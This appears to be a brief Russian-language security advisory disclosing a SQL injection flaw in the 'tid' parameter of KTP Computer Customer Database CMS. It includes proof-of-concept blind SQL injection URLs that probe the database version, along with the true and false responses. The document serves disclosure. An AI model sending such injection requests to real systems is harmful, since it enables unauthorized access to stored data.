Программа: KTP Computer Customer Database CMS

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «tid» сценарием [ktp_path]. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.

Эксплоит:

True:
http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=5--

Результат:
Home Phone: 122-131-3123
Cell Phone: 123-123-3123
Fax Number: 123-213-1321
A+ Certifcation ID: 312

False:
http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=4--

Результат:
Home Phone: n/a
Cell Phone: n/a
Fax Number: n/a
A+ Certifcation ID: (Technician is not certified)

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии